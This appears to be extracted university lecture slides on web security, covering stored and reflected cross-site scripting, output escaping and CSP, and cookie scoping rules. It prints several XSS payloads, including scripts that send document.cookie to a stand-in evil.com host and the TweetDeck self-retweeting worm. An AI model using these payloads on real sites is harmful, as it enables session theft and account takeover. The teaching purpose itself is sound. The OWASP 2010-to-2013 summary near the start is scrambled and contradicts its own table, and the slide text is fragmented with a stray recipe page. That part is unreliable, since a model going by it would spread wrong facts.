Announcements

Proj 3 due on Thur, Nov 17
Trump’s site hacked today ... apparently XSS!!!!
You could insert anything you wanted in the headlines by typing it into the URL – a form of reflected XSS

And https://www.donaldjtrump.com/press-releases/archive/trump%20is%20bad%20at%20internet gets you:
The threat landscape for applications security constantly changes. Key factors in this evolution are advances made by attackers, the release of new technologies with new weaknesses as well as more built in defenses, and the deployment of increasingly complex systems.

### What Changed From 2010 to 2013?

To keep pace, we merged and broadened 2010 OWASP Top 10. In this 2013 release, we made the following changes:

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2010 (Previous)</th>
<th>OWASP Top 10 – 2013 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1 – Injection</td>
<td>A1 – Injection</td>
</tr>
<tr>
<td>A3 – Broken Authentication and Session Management</td>
<td>A2 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A2 – Cross-Site Scripting (XSS)</td>
<td>A3 – Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4 – Insecure Direct Object References</td>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A6 – Security Misconfiguration</td>
<td>A5 – Security Misconfiguration</td>
</tr>
<tr>
<td>A7 – Insecure Cryptographic Storage – Merged with A9</td>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A8 – Failure to Restrict URL Access – Broadened into</td>
<td>A7 – Missing Function Level Access Control</td>
</tr>
<tr>
<td>A5 – Cross-Site Request Forgery (CSRF)</td>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>&lt;buried in A6: Security Misconfiguration&gt;</td>
<td>A9 – Using Known Vulnerable Components</td>
</tr>
</tbody>
</table>

We added:

- Cross Site Request Forgery (CSRF) moved down in prevalence based on our data set from 2010 to 2013.
- This is because CSRF has been in the OWASP Top 10 for 6 years, and organizations and framework developers have focused on it enough to significantly reduce the number of CSRF vulnerabilities in real world applications.

We broadened Failure to Restrict URL Access from the 2010 OWASP Top 10 to be more inclusive:

- This new category was created by merging 2010 A7 into new A9.
- This issue was mentioned as part of 2010 A9: Using Known Vulnerable Components
- This new category covers sensitive data components.
- There are many ways to specify which function is being accessed, not just the URL.
- Insecure Direct Object References in A8: Using Known Vulnerable Components was moved to A5 – Security Misconfiguration, but now has a category of its own as the new A6: Sensitive Data Exposure.

To provide further protection (other than access control which is covered by 2013 A4 and 2013 A7 into new A9), we created a new category for sensitive data risks as well. This new category covers sensitive data provided by the user, sent to and stored within the application, and then sent back to the browser again.
Cross-site scripting attack (XSS)

- Attacker injects a malicious script into the webpage viewed by a victim user
  - Script runs in user’s browser with access to page’s data

- The same-origin policy does not prevent XSS
Two main types of XSS

- **Stored XSS**: attacker leaves Javascript lying around on benign web service for victim to load
- **Reflected XSS**: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back
Stored (or persistent) XSS

- The attacker manages to store a malicious script at the web server, e.g., at bank.com
- The server later unwittingly sends script to a victim’s browser
- Browser runs script in the same origin as the bank.com server
Demo + fix
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

Server Patsy/Victim

Attack Browser/Server

bank.com

evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

User Victim

Server Patsy/Victim

Attack Browser/Server

evil.com

Stores the script!

bank.com
Stored XSS (Cross-Site Scripting)
Stored XSS (Cross-Site Scripting)

- **User Victim**
  - 2. request content
  - 3. receive malicious script

- **Attack Browser/Server**
  - 1. Inject malicious script
  - evil.com

- **Server Patsy/Victim**
  - Stores the script!
  - bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it

Attack Browser/Server

Server Patsy/Victim

evil.com

bank.com

Stores the script!
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
   - evil.com
   - Inject malicious script

2. request content
3. receive malicious script
4. User Victim
5. Server Patsy/Victim
   - bank.com
   - Stores the script!

execute script embedded in input as though server meant us to run it
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action

E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000
User Victim

And/Or:

Inject malicious script

execute script embedded in input as though server meant us to run it

① inject malicious script

② request content

③ receive malicious script

④ perform attacker action

⑤ steal valuable data

Server Patsy/Victim

Attack Browser/Server

evil.com

bank.com

Stores the script!
Stored XSS (Cross-Site Scripting)

And/Or:

E.g., GET http://evil.com/steal/document.cookie

User Victim

execute script embedded in input as though server meant us to run it

Server Patsy/Victim

 Stores the script!

Attack Browser/Server

Stores malicious script

① evil.com

② request content

③ receive malicious script

④ perform attacker action

⑤ leak valuable data

Bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action
6. Leak valuable data

(A “stored” XSS attack)
XSS subverts the same origin policy

- Attack happens *within the same origin*
- Attacker *tricks* a server (e.g., bank.com) to send malicious script ot users
- User visits to bank.com

Malicious script has origin of bank.com so it is permitted to access the resources on bank.com
MySpace.com  (Samy worm)

- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - ... but can do Javascript within CSS tags:
    `<div style="background:url(\'javascript:alert(1)\')">`

- With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page
  - ... and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Twitter XSS vulnerability

User figured out how to send a tweet that would automatically be retweeted by all followers using vulnerable TweetDeck apps.

```html
<script class="xss">$('xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
```
Stored XSS using images

Suppose `pic.jpg` on web server contains HTML!

- request for `http://site.com/pic.jpg` results in:
  
  ```
  HTTP/1.1 200 OK
  ...
  Content-Type: image/jpeg
  
  <html> fooled ya </html>
  ```

- IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
  - What if attacker uploads an “image” that is a script?
Reflected XSS

- The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript or malicious content.
- The server echoes it back to victim user in its response.
- Victim’s browser executes the script within the same origin as bank.com.
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS (Cross-Site Scripting)

1. visit web site

Victim client

Attack Server

evil.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page

Victim client

Attack Server

evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

Victim client

Attack Server
- evil.com

Server Patsy/Victim
- bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. send valuable data
7. send valuable data

Attack Server
- evil.com

Victim client
- bank.com

Server Patsy/Victim
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Perform attacker action
7. Send valuable data

(“Reflected” XSS attack)
Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- **Example**: search field
  - `search.php` responds with
    ```html
    <HTML>  <TITLE> Search Results </TITLE>
    <BODY>
    Results for $term :
    . . .
    </BODY> </HTML>
    ```

How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

Consider this link on evil.com: (properly URL encoded)

```
  <script> window.open(
    "http://evil.com/?cookie = " +
    document.cookie ) </script>
```

What if user clicks on this link?

1) Browser goes to bank.com/search.php?...
2) bank.com returns
   `<HTML> Results for <script> ... </script> ...`
3) Browser **executes** script *in same origin* as bank.com
   Sends to evil.com the cookie for bank.com
2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

You could insert anything you wanted in the headlines by typing it into the URL – a form of reflected XSS

And https://www.donaldjtrump.com/press-releases/archive/trump%20is%20bad%20at%20internet gets you:
Reflected XSS: Summary

- **Target:** user with Javascript-enabled *browser* who visits a vulnerable *web service* that will include parts of URLs it receives in the web page output it generates

- **Attacker goal:** run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = *Same Origin Policy*)

- **Attacker tools:** ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies

- **Key trick:** server fails to ensure that output it generates does not contain embedded scripts other than its own
Preventing XSS

Web server must perform:

- **Input validation**: check that inputs are of expected form (whitelisting)
  - Avoid blacklisting; it doesn’t work well
- **Output escaping**: escape dynamic data before inserting it into HTML
Output escaping

- HTML parser looks for special characters: `< > & ” ’
  - `<html>`, `<div>`, `<script>`
  - such sequences trigger actions, e.g., running script

- Ideally, user-provided input string should not contain special chars

- If one wants to display these special characters in a webpage without the parser triggering action, one has to escape the parser

<table>
<thead>
<tr>
<th>Character</th>
<th>Escape sequence</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;</code></td>
<td><code>&amp;lt;</code></td>
</tr>
<tr>
<td><code>&gt;</code></td>
<td><code>&amp;gt;</code></td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td><code>&amp;amp</code></td>
</tr>
<tr>
<td><code>”</code></td>
<td><code>&amp;quot;</code></td>
</tr>
<tr>
<td><code>‘</code></td>
<td><code>&amp;#39;</code></td>
</tr>
</tbody>
</table>
Direct vs escaped embedding

Attacker input:

- Direct:
  `<html>
  Comment: `<script>
  ...
  </script>
  </html>`
  - Browser rendering:
    - Attack! Script runs!

- Escaped:
  `<html>
  Comment: `&lt;script&gt;
  ...
  &lt;/script&gt;
  </html>`
  - Browser rendering:
    - Script does not run but gets displayed!
Escape user input!

""><SCRIPT>alert(/XSS/)</SCRIPT>""

FORGOT, IT GOES ON THE PICTURE
XSS prevention (cont’d): Content-security policy (CSP)

- Have web server supply a whitelist of the scripts that are allowed to appear on a page
  - Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including *inline scripts*)
- Can opt to globally disallow script execution
Summary

- **XSS**: Attacker injects a malicious script into the webpage viewed by a victim user
  - Script runs in user’s browser with access to page’s data
  - Bypasses the same-origin policy
- **Fixes**: validate/escape input/output, use CSP
Session management
HTTP is mostly stateless

- Apps do not typically store persistent state in client browsers
  - User should be able to login from any browser
- Web application servers are generally "stateless":
  - Most web server applications maintain no information in memory from request to request
    - Information typically stored in databases
  - Each HTTP request is independent; server can't tell if 2 requests came from the same browser or user.
- Statelessness not always convenient for application developers: need to tie together a series of requests from the same user
HTTP cookies
Outrageous Chocolate Chip Cookies

Recipe by: Joan
"A great combination of chocolate chips, oatmeal, and peanut butter."

Ingredients

- 1/2 cup butter
- 1/2 cup white sugar
- Market Pantry Granulated Sugar - 4lbs
  $2.59
- 1 cup all-purpose flour
- 1 teaspoon baking soda
- 1/4 teaspoon salt
- 1/2 cup rolled oats
- 1/3 cup packed brown sugar
- 1 cup semisweet chocolate chips

On Sale
What's on sale near you.

Target
1057 Eastshore Hwy
ALBANY, CA 94710
Sponsored

May we suggest
These nearby stores have ingredients on sale.
Cookies

A way of maintaining state

Browser

GET ...

Server

http response contains

Browser maintains cookie jar
Setting/deleting cookies by server

The first time a browser connects to a particular web server, it has no cookies for that web server.

When the web server responds, it includes a Set-Cookie: header that defines a cookie.

Each cookie is just a name-value pair.
View a cookie

In a web console (firefox, tool->web developer->web console), type `document.cookie` to see the cookie for that site
Cookie scope

When the browser connects to the same server later, it includes a Cookie: header containing the name and value, which the server can use to connect related requests.

Domain and path inform the browser about which sites to send this cookie to.
Cookie scope

GET ...

HTTP Header:
Set-cookie: NAME=VALUE ;
domain = (when to send) ;
path = (when to send)
secure = (only send over HTTPS);

- Secure: sent over https only
  - https provides secure communication (privacy and integrity)
Cookie scope

HTTP Header:
Set-cookie: NAME=VALUE ;
domain = (when to send) ;
path = (when to send)
secure = (only send over SSL);
expires = (when expires) ;
HttpOnly

- Expires is expiration date
  - Delete cookie by setting “expires” to date in past
- HttpOnly: cookie cannot be accessed by Javascript, but only sent by browser
Cookie scope

Scope of cookie might not be the same as the URL-host name of the web server setting it

Rules on:
1. What scopes a URL-host name is allowed to set
2. When a cookie is sent to a URL
What scope a server may set for a cookie

domain: any domain-suffix of URL-hostname, except TLD [top-level domains, e.g. `.com’]

e.g.

example: host = “login.site.com”

allowed domains
disallowed domains

login.site.com
top-level domains, e.g. ‘.com’

.user.site.com

. site.com

.othersite.com

. com

⇒ login.site.com can set cookies for all of .site.com but not for another site or TLD

Problematic for sites like .berkeley.edu

path: can be set to anything
Examples

Web server at foo.example.com wants to set cookie with domain:

<table>
<thead>
<tr>
<th>domain</th>
<th>Whether it will be set, and if so, where it will be sent to</th>
</tr>
</thead>
<tbody>
<tr>
<td>(value omitted)</td>
<td>foo.example.com (exact)</td>
</tr>
<tr>
<td>bar.foo.example.com</td>
<td></td>
</tr>
<tr>
<td>foo.example.com</td>
<td><em>.</em>.foo.example.com</td>
</tr>
<tr>
<td>baz.example.com</td>
<td></td>
</tr>
<tr>
<td>example.com</td>
<td></td>
</tr>
<tr>
<td>ample.com</td>
<td></td>
</tr>
<tr>
<td>.com</td>
<td></td>
</tr>
</tbody>
</table>
We discussed the semantics of HTTP cookies in Chapter 3, but that discussion left out one important detail: the security rules that must be implemented to protect cookies belonging to one site from being tampered with by unrelated pages. This topic is particularly interesting because the approach taken here predates the same-origin policy and interacts with it in a number of unexpected ways.

Cookies are meant to be scoped to domains, and they can't be limited easily to just a single hostname value. The domain parameter provided with a cookie may simply match the current hostname (such as foo.example.com), but this will not prevent the cookie from being sent to any eventual subdomains, such as bar.foo.example.com. A qualified right-hand fragment of the hostname, such as example.com, can be specified to request a broader scope, however.

Amusingly, the original RFCs imply that Netscape engineers wanted to allow exact host-scoped cookies, but they did not follow their own advice. The syntax devised for this purpose was not recognized by the descendants of Netscape Navigator (or by any other implementation for that matter). To a limited extent, setting host-scoped cookies is possible in some browsers by completely omitting the domain parameter, but this method will have no effect in Internet Explorer.

Table 9-3 illustrates cookie-setting behavior in some distinctive cases.

<table>
<thead>
<tr>
<th>domain</th>
<th>Whether it will be set, and if so, where it will be sent to</th>
</tr>
</thead>
<tbody>
<tr>
<td>⟨value omitted⟩</td>
<td>foo.example.com (exact)</td>
</tr>
<tr>
<td>bar.foo.example.com</td>
<td>Cookie not set: domain more specific than origin</td>
</tr>
<tr>
<td>foo.example.com</td>
<td>*.foo.example.com</td>
</tr>
<tr>
<td>baz.example.com</td>
<td>Cookie not set: domain mismatch</td>
</tr>
<tr>
<td>example.com</td>
<td>*.example.com</td>
</tr>
<tr>
<td>ample.com</td>
<td>Cookie not set: domain mismatch</td>
</tr>
<tr>
<td>.com</td>
<td>Cookie not set: domain too broad, security risk</td>
</tr>
</tbody>
</table>

When browser sends cookie

Browser sends all cookies in URL scope:

- cookie-domain is domain-suffix of URL-domain, and
- cookie-path is prefix of URL-path, and
- [protocol=HTTPS if cookie is “secure”]

Goal: server only sees cookies in its scope
When browser sends cookie

A cookie with
  domain = example.com, and
  path = /some/path/
will be included on a request to
  http://foo.example.com/some/path/subdirectory/hello.txt
Examples: Which cookie will be sent?

<table>
<thead>
<tr>
<th>cookie 1</th>
<th>cookie 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>name = userid</td>
<td>name = userid</td>
</tr>
<tr>
<td>value = u1</td>
<td>value = u2</td>
</tr>
<tr>
<td>domain = login.site.com</td>
<td>domain = .site.com</td>
</tr>
<tr>
<td>path = /</td>
<td>path = /</td>
</tr>
<tr>
<td>non-secure</td>
<td>non-secure</td>
</tr>
</tbody>
</table>

http://checkout.site.com/  
cookie: userid=u2

http://login.site.com/  
cookie: userid=u1, userid=u2

http://othersite.com/  
cookie: none
Examples

cookie 1
name = userid
value = u1
domain = login.site.com
path = /
secure

cookie 2
name = userid
value = u2
domain = .site.com
path = /
non-secure

http://checkout.site.com/
cookie: userid=u2

http://login.site.com/
cookie: userid=u2

https://login.site.com/
cookie: userid=u1; userid=u2
(arbitrary order)
Client side read/write: `document.cookie`

- Setting a cookie in Javascript:
  ```javascript
  document.cookie = "name=value; expires=...; 
  ```

- Reading a cookie:
  ```javascript
  alert(document.cookie)
  ```
  prints string containing all cookies available for `document` (based on [protocol], domain, path)

- Deleting a cookie:
  ```javascript
  document.cookie = "name=; expires= Thu, 01-Jan-70"
  ```

`document.cookie` often used to customize page in Javascript
Viewing/deleting cookies in Browser UI

Firefox: Tools -> page info -> security -> view cookies

![Image of cookie management in Firefox](image.png)

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>google.com</td>
<td>NID</td>
</tr>
<tr>
<td>google.com</td>
<td>SNID</td>
</tr>
<tr>
<td>google.com</td>
<td>_utmz</td>
</tr>
<tr>
<td>google.com</td>
<td>_utma</td>
</tr>
<tr>
<td>google.com</td>
<td>_utmz</td>
</tr>
</tbody>
</table>

- **Name:** _utma
- **Content:** 173272373.288555819.1215984872.1215984872.1215984872.1215984872.1
domains.
- **Domain:** .google.com
- **Path:** /adsense/
- **Send For:** Any type of connection
- **Expires:** Sunday, January 17, 2038 4:00:00 PM

[Remove Cookie] [Remove All Cookies] [Close]